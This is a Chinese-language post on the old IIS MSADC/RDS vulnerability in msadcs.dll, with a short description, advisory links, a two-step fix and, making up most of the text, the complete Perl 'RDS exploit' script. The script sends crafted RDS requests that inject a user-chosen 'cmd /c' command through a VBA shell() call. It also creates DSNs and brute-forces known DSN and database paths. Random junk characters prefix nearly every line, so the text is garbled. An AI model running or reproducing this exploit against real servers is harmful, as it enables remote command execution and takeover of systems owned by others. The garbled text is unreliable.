IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Y_+#|]=$B ?{ ^_z_, 涉及程序：
-mG`* 0 Microsoft NT server
p$'S\W| vJ^~J2#5 描述：
;(Ug]U%3_ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
L8Tm8) lMvOYv 详细：
PDuBf&/e 如果你没有时间读详细内容的话，就删除:
%
_ E?3 c:\Program Files\Common Files\System\Msadc\msadcs.dll
/YH O"4Z 有关的安全问题就没有了。
d-+jb<C& w3);ZQ| 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
$m2#oI 'D 2J&~b 8 : 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
>WD HRC 关于利用ODBC远程漏洞的描述，请参看:
kex V~Q Y'i yfn k http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Xi[]8o N\g=9o|Q 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
Q/
.LDye8 http://www.microsoft.com/security/bulletins/MS99-025faq.asp j _N<aX j7kX"nz 这里不再论述。
<a @7's V@k+RniEO 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
Jl`^`Yv =zK4 jiM1 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
iKJqMES 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
rVNx 2 {eaR,d~X k !0O[U #将下面这段保存为txt文件，然后: "perl -x 文件名"
$a*7Q~ 4 /#M1J:SV #!perl
yef\Y3X #
U,EoCAm> # MSADC/RDS 'usage' (aka exploit) script
2RX]~} #
b ^ h_` # by rain.forest.puppy
^py=]7[I #
ya8p
4N{_ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
9Sxr9FLW~ # beta test and find errors!
6Qt(Yu*s EOrui:.B) use Socket; use Getopt::Std;
06f%{mAZS getopts("e:vd:h:XR", \%args);
nJN -U+)u M
x#L|w`r print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
K!&W} _@l z0< E3t if (!defined $args{h} && !defined $args{R}) {
$e7%>*?m print qq~
BKg8p]`+ Usage: msadc.pl -h <host> { -d <delay> -X -v }
.s*N 1
U?h -h <host> = host you want to scan (ip or domain)
`K.C>68 -d <seconds> = delay between calls, default 1 second
x'x5tg -X = dump Index Server path table, if available
hFi gY\$m -v = verbose
bt) C+|i -e = external dictionary file for step 5
w8 :[w %%s)D4sW Or a -R will resume a command session
AF{uF na <.n,:ir ~; exit;}
5cIZ_# EyA
ny\" $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
CsA (oX if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
vu*e*b$} if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
?Te#lp;`~ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
8Re[]bE $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
^:{8z;w!( if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
xX%ppD 7 \(i'i C if (!defined $args{R}){ $ret = &has_msadc;
-a)1L'R die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
mcd{:/^? u>fMO9X} 2 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
M=Ze)X\E*' . "cmd /c ";
B.r^'>jQ $in=<STDIN>; chomp $in;
\
T# |<= $command="cmd /c " . $in ;
vYV!8o.I KBB)xez8 if (defined $args{R}) {&load; exit;}
e ^O:I F;ttqL print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
r&4Xf# QD6 &try_btcustmr;
/&Oo)OB; O] PM L` print "\nStep 2: Trying to make our own DSN...";
_,L_H[FN &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
&6vaLx w/*G!o- < print "\nStep 3: Trying known DSNs...";
toPbFU' &known_dsn;
#s~;ss , #]jl{K\f#X print "\nStep 4: Trying known .mdbs...";
$\NqD:fgb &known_mdb;
e ' l9 ruGJZAhIA^ if (defined $args{e}){
yk8b>.Y\A print "\nStep 5: Trying dictionary of DSN names...";
x8@ 4lxj &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
+ kKanm[!v n\((#<& print "Sorry Charley...maybe next time?\n";
<(jk}wa< exit;
00 x - )%@7tx ##############################################################################
%JE>Z] 4}m9, sub sendraw { # ripped and modded from whisker
$~b6H]"9 sleep($delay); # it's a DoS on the server! At least on mine...
i`gM> q& my ($pstr)=@_;
2V)+ ba|+ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
VEh9N die("Socket problems\n");
F9o7=5WAb if(connect(S,pack "SnA4x8",2,80,$target)){
/ rc[HbNg. select(S); $|=1;
v Woppt print $pstr; my @in=<S>;
/*y5W-'d^ select(STDOUT); close(S);
Q[#}Oh6$ return @in;
?0t^7HMP } else { die("Can't connect...\n"); }}
({j8| {)+ rgVRF44X{ ##############################################################################
T<0 r , HQP.7.w7 5 sub make_header { # make the HTTP request
Li6|c*K' my $msadc=<<EOT
=\.*CY|;N POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
xZ`z+) User-Agent: ACTIVEDATA
j $q5m 24L Host: $ip
~wDXjn"U& Content-Length: $clen
&NBH' Rt Connection: Keep-Alive
BEaF-*?A } 8 z :L< ADCClientVersion:01.06
+u
Iq]tqe Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
kC. ! cPd &qS%~h%2 --!ADM!ROX!YOUR!WORLD!
u$R5Q{H_ Content-Type: application/x-varg
5c]:/9& Content-Length: $reqlen
I/njyV)H $97O7j@ EOT
/8e}c` ; $msadc=~s/\n/\r\n/g;
cRf F!EV return $msadc;}
'{2]: S&}7XjY ##############################################################################
{d [Nc,AMb ~g=& wT11 sub make_req { # make the RDS request
T$lV+[7 my ($switch, $p1, $p2)=@_;
vIJ5iLF my $req=""; my $t1, $t2, $query, $dsn;
JhFn"(O -Rw3[4>@O" if ($switch==1){ # this is the btcustmr.mdb query
E to"B" $query="Select * from Customers where City=" . make_shell();
OCrTzz8 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
<ZSXOh,' $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
`w
6Qsah HMF2sc$N elsif ($switch==2){ # this is general make table query
M]PZwW8 $query="create table AZZ (B int, C varchar(10))";
@~$d4K
y< $dsn="$p1";}
{C 5: as M3-lL;!n elsif ($switch==3){ # this is general exploit table query
,A{Bx`o? $query="select * from AZZ where C=" . make_shell();
&"%Ws{Qn] $dsn="$p1";}
7=Muq]j2 h,Hr0^? elsif ($switch==4){ # attempt to hork file info from index server
:o!Kz`J $query="select path from scope()";
X0
|U?Ib? $dsn="Provider=MSIDXS;";}
Acw`ytV u9@B& elsif ($switch==5){ # bad query
,h o",y $query="select";
g,\kLTg $dsn="$p1";}
-]0:FKW F&6#j $t1= make_unicode($query);
bBs{PI2(p1 $t2= make_unicode($dsn);
z]N#.utQ $req = "\x02\x00\x03\x00";
U*a#{C7" $req.= "\x08\x00" . pack ("S1", length($t1));
?IAu,s*u $req.= "\x00\x00" . $t1 ;
|V\{U j $req.= "\x08\x00" . pack ("S1", length($t2));
Jai]z $req.= "\x00\x00" . $t2 ;
F[}#7}xjA $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
`$ f`55e return $req;}
Xq$ -&~
@ !")shc ##############################################################################
73X*|g[O ^}~Q(ji7 sub make_shell { # this makes the shell() statement
XDCm return "'|shell(\"$command\")|'";}
7N 0Bj! Hes!uy ##############################################################################
clU ?bF~e1 hhPQ.{]> sub make_unicode { # quick little function to convert to unicode
t[q2 W"#.
my ($in)=@_; my $out;
y7UU'k` for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
xH2'PEjFM return $out;}
W]eILCo l!:bNMd ##############################################################################
iO*5ClB t M"vIz 05 sub rdo_success { # checks for RDO return success (this is kludge)
,Sgo_bC/| my (@in) = @_; my $base=content_start(@in);
d=bK NA90 if($in[$base]=~/multipart\/mixed/){
Oz%6y
ri return 1 if( $in[$base+10]=~/^\x09\x00/ );}
#|E#Rkw! return 0;}
6ZI Pe~` A>gZl)c ##############################################################################
S Q:H2vvD :0y-n.-{ sub make_dsn { # this makes a DSN for us
= Lkn
my @drives=("c","d","e","f");
enPtW print "\nMaking DSN: ";
!LH;K foreach $drive (@drives) {
lx2#C9L_ print "$drive: ";
p'LLzc## my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
g
sm%4>sc "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
R8[VD iM6E . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
/UunWZ u% $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
]@9W19=P!P return 0 if $2 eq "404"; # not found/doesn't exist
A]m*~Vj] if($2 eq "200") {
Cl3vp_ foreach $line (@results) {
YMu#<ZG return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
"&SE!3*m`I } return 0;}
vx?KenO } CfW#Wk:8J ##############################################################################
_XZK2Q[ a.<XJ\ sub verify_exists {
RTVU3 fw my ($page)=@_;
4 Vi*Qa_,y my @results=sendraw("GET $page HTTP/1.0\n\n");
=b$g_+ return $results[0];}
2j4202 &PPnI(s^K ##############################################################################
EC$F|T0f B)7 :*Kj sub try_btcustmr {
8WDL.IO my @drives=("c","d","e","f");
s;P _LaIp) my @dirs=("winnt","winnt35","winnt351","win","windows");
}BS
EK<W vfqXHc
unj foreach $dir (@dirs) {
X$==J St print "$dir -> "; # fun status so you can see progress
{P?Ge foreach $drive (@drives) {
Fw[1Aa# print "$drive: "; # ditto
hvTc( 0;mB $reqlen=length( make_req(1,$drive,$dir) ) - 28;
<9>L^GgXA $reqlenlen=length( "$reqlen" );
1.p ?1"4\u $clen= 206 + $reqlenlen + $reqlen;
" oxUKT P4"BX*x my @results=sendraw(make_header() . make_req(1,$drive,$dir));
ij] ~n if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
pRjE uOc else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
; s,1/ kA HAE$Np|>a ##############################################################################
^kK")+K w@2NXcmw sub odbc_error {
^) s6`: my (@in)=@_; my $base;
@; 9KP6d my $base = content_start(@in);
'exR;q\ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
< k(n% $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
8ZV!ld $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
;gEEdx'&T $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
w$$pTk|&n return $in[$base+4].$in[$base+5].$in[$base+6];}
=UO7!vr;[ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
I[Bp}6G print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
I|*<[/)]y $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
}6LcimQyK ZWyf.VJ ##############################################################################
]gHrqi% RoHX0
sub verbose {
qK;J:G T> my ($in)=@_;
kxe{HxM$Z return if !$verbose;
=^M Q 4 print STDOUT "\n$in\n";}
b/.EA' / =Cf@!wZ^ ##############################################################################
d^?e*USh |o eg'T sub save {
85"Szc-# my ($p1, $p2, $p3, $p4)=@_;
m6
M/G open(OUT, ">rds.save") || print "Problem saving parameters...\n";
7h/Mkim$5 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
d>J
+7ex+ close OUT;}
um PN=0u6 nUq@`G ##############################################################################
1 h(n}u 'O ~_g5kC sub load {
De$Ic"Z9L my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
D _F1 <q open(IN,"<rds.save") || die("Couldn't open rds.save\n");
# .&t'"u @p=<IN>; close(IN);
9_*3xu<7i $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
4%v-)HGh $target= inet_aton($ip) || die("inet_aton problems");
P<1&kUZL print "Resuming to $ip ...";
4Vj]bm $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
A5fzyG if($p[1]==1) {
Kk. \P|k2 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
'yOx&~H] $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
#( 4)ps. my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
C]ho7qC if (rdo_success(@results)){print "Success!\n";}
qzY:>>d' else { print "failed\n"; verbose(odbc_error(@results));}}
3 P\4K elsif ($p[1]==3){
'u PI~l`g if(run_query("$p[3]")){
JvT#Fxj k print "Success!\n";} else { print "failed\n"; }}
{ IB4%,qT elsif ($p[1]==4){
y\6C9%. if(run_query($drvst . "$p[3]")){
G?s;L NR print "Success!\n"; } else { print "failed\n"; }}
qoQ,3 &< exit;}
wMm+E "}W &_QD1 TT ##############################################################################
Nsy>qa7 ,uO?f1 sub create_table {
G^P9_Sw]d3 my ($in)=@_;
: gk n`z $reqlen=length( make_req(2,$in,"") ) - 28;
rIv#YqT $reqlenlen=length( "$reqlen" );
F 9_X^#% L $clen= 206 + $reqlenlen + $reqlen;
z5^Se!`5 my @results=sendraw(make_header() . make_req(2,$in,""));
suX^"Io%! return 1 if rdo_success(@results);
[mUC7Kpi my $temp= odbc_error(@results); verbose($temp);
q 3,p=ijJ return 1 if $temp=~/Table 'AZZ' already exists/;
JDpW7OrDc return 0;}
F%ukT6xp #)DDQ?D ##############################################################################
A9HgABhax X =Y>9 sub known_dsn {
D# ED?Lqf # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
PVq y\i my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
pkIJbI{aS "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
(:# 4{C "banner", "banners", "ads", "ADCDemo", "ADCTest");
&fxyY ( sBN4:8 foreach $dSn (@dsns) {
]x_14$rk print ".";
oe_, q&e next if (!is_access("DSN=$dSn"));
8
=3#S'n if(create_table("DSN=$dSn")){
[H RP&jr print "$dSn successful\n";
Xs4G#QsA J if(run_query("DSN=$dSn")){
2c9]Ja3:6 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
q={3f m print "Something's borked. Use verbose next time\n";}}} print "\n";}
x5yZ+`Gc yle~hL ##############################################################################
a^ L'- ( # Nv0d|0\ sub is_access {
G;msq=9| my ($in)=@_;
!E/%H v1 $reqlen=length( make_req(5,$in,"") ) - 28;
SP|Dz,o $reqlenlen=length( "$reqlen" );
W<H^V" ^ $clen= 206 + $reqlenlen + $reqlen;
ra\2BS)X my @results=sendraw(make_header() . make_req(5,$in,""));
&2Cu"O'.i my $temp= odbc_error(@results);
JR /^Go$^ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
SI l<\ return 0;}
_@]@&^K$E :e4[isI ##############################################################################
\xtmd[7lb< j98>Jr\ sub run_query {
u $T'#p1
my ($in)=@_;
<Y#EiC. $reqlen=length( make_req(3,$in,"") ) - 28;
/I#SP/M& l $reqlenlen=length( "$reqlen" );
%$(*.o!+8 $clen= 206 + $reqlenlen + $reqlen;
z:tu_5w!, my @results=sendraw(make_header() . make_req(3,$in,""));
k@C]~1 return 1 if rdo_success(@results);
gl6 *bB= my $temp= odbc_error(@results); verbose($temp);
~Ywt o return 0;}
jDM^e4U.l 6EX8,4c\ ##############################################################################
| )R{(AK- I^y, @EHR sub known_mdb {
Gm LKg >% my @drives=("c","d","e","f","g");
}qdGS<{ my @dirs=("winnt","winnt35","winnt351","win","windows");
!eB&3J my $dir, $drive, $mdb;
Zh.9j7
>p my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
\C E8S+Z% .S Sj=q4 ? # this is sparse, because I don't know of many
Y'i_EX| my @sysmdbs=( "\\catroot\\icatalog.mdb",
@7B!(Q "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
.zy i' Kj "\\system32\\certmdb.mdb",
wkZ}o,{*: "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
8:0.Pi(ln@ !Zf)N_k my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
,f fH:3F "\\cfusion\\cfapps\\forums\\forums_.mdb",
-Z%B9ql' "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
9/S-=VOe.t "\\cfusion\\cfapps\\security\\realm_.mdb",
4#@zn 2l "\\cfusion\\cfapps\\security\\data\\realm.mdb",
s@bo df& "\\cfusion\\database\\cfexamples.mdb",
A&QO]8 "\\cfusion\\database\\cfsnippets.mdb",
(}n,Ou[ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
mH} 1Zy "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
A
ptzBs/ "\\cfusion\\brighttiger\\database\\cleam.mdb",
6 tmn1 : "\\cfusion\\database\\smpolicy.mdb",
z+B"RV "\\cfusion\\database\cypress.mdb",
<P1sK/IZb "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
CVBy& o"6A "\\website\\cgi-win\\dbsample.mdb",
+-OqO 3R "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
. B9rG~ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
wrW7 68WR ); #these are just
j"8|U
E foreach $drive (@drives) {
Z:}d\~`x$% foreach $dir (@dirs){
2s@<k1EdPl foreach $mdb (@sysmdbs) {
ZMXIKN9BF# print ".";
JB= L\E} if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
u=h/ l!lR print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
W.u}Q@ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
vL7 JzSU_ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
LHz-/0 [ } else { print "Something's borked. Use verbose next time\n"; }}}}}
HGpj(U:`c "(rG5z3P foreach $drive (@drives) {
q\g|K3V) foreach $mdb (@mdbs) {
<ibEo98 print ".";
L?e N( L if(create_table($drv . $drive . $dir . $mdb)){
%< w)#eV? print "\n" . $drive . $dir . $mdb . " successful\n";
m [FH> if(run_query($drv . $drive . $dir . $mdb)){
Cuq=>J print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
?F9:rUyN } else { print "Something's borked. Use verbose next time\n"; }}}}
r 9uuVxBD }
!bG%@{W T />z E$)'M ##############################################################################
a:tCdnK/ 7a}vb@ sub hork_idx {
iWZrZ5l print "\nAttempting to dump Index Server tables...\n";
kMz^37IFMG print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
s`G3SE $reqlen=length( make_req(4,"","") ) - 28;
KfsU RTZ $reqlenlen=length( "$reqlen" );
Ojf.D6nY $clen= 206 + $reqlenlen + $reqlen;
^?H3:CS my @results=sendraw2(make_header() . make_req(4,"",""));
|%R}!O<.c if (rdo_success(@results)){
i`R}IP?71 my $max=@results; my $c; my %d;
0XBv8fg for($c=19; $c<$max; $c++){
Rj9YAW$ $results[$c]=~s/\x00//g;
A~6:eapp H $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
%P2GQS-N $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
wBUn* L $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
r-s.i+\ $d{"$1$2"}="";}
?E0j)P/
( foreach $c (keys %d){ print "$c\n"; }
/MB3w m } else {print "Index server doesn't seem to be installed.\n"; }}
ee.# Vhz kw>W5tNpf: ##############################################################################
I=)u:l c |T}Q ~ sub dsn_dict {
Oozt&* F open(IN, "<$args{e}") || die("Can't open external dictionary\n");
YULI
y-W while(<IN>){
CD'.bFO^+T $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
*eAsA(; next if (!is_access("DSN=$dSn"));
#%x zy@` if(create_table("DSN=$dSn")){
EencMi7J print "$dSn successful\n";
c-L1 Bkw if(run_query("DSN=$dSn")){
B6&;nU>; print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
%EuJ~;x(Mg print "Something's borked. Use verbose next time\n";}}}
qJ b9JL$s print "\n"; close(IN);}
B'OUT2cgB ruG5~dm > ##############################################################################
i"~J -{d} ]C D sub sendraw2 { # ripped and modded from whisker
'Tn i; sleep($delay); # it's a DoS on the server! At least on mine...
.|Pq!uLvc my ($pstr)=@_;
b Z0mK$B socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
?H \K]; die("Socket problems\n");
@ -9I<)Z/2 if(connect(S,pack "SnA4x8",2,80,$target)){
"|yuP1;L print "Connected. Getting data";
0HA` open(OUT,">raw.out"); my @in;
~.?,*q7 select(S); $|=1; print $pstr;
=ILE/ pC-| while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
*UVo>; close(OUT); select(STDOUT); close(S); return @in;
uz6S7I } else { die("Can't connect...\n"); }}
E)l0`83~^ ]_6w(>A@3# ##############################################################################
C:+-T +m[ 1&JPyW sub content_start { # this will take in the server headers
eM";P/XaX my (@in)=@_; my $c;
B8){ for ($c=1;$c<500;$c++) {
}& +b\RE if($in[$c] =~/^\x0d\x0a/){
5hN`}Ve if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
RjC3wO:: else { return $c+1; }}}
'O%itCy) return -1;} # it should never get here actually
&DQyJJ`k .v?x>iV ##############################################################################
\wR $_X& WZ \bm$
sub funky {
A
d NQS my (@in)=@_; my $error=odbc_error(@in);
^= f<WKn if($error=~/ADO could not find the specified provider/){
WC6yQSnY& print "\nServer returned an ADO miscofiguration message\nAborting.\n";
I d6H~; exit;}
OIpkXM if($error=~/A Handler is required/){
zPzy 0lx print "\nServer has custom handler filters (they most likely are patched)\n";
&\8qN_` exit;}
_Mi` ]VSq9 if($error=~/specified Handler has denied Access/){
x3j)'`=15 print "\nServer has custom handler filters (they most likely are patched)\n";
$ #VE C0 exit;}}
.E H&GX 3
q1LIM ##############################################################################
6'Y T3= cR'l\iv+ sub has_msadc {
d ??;r: my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
h0m+u}oP_H my $base=content_start(@results);
z'=8U@P'# return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
l yY\P6
X return 0;}
a_jw4"Sb |\/`YRg> ########################
gEghDO_G 00jW s@K Q&j-a;L 解决方案：
g=)B+SY' 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
%b 8ig1 2、移除web 目录: /msadc
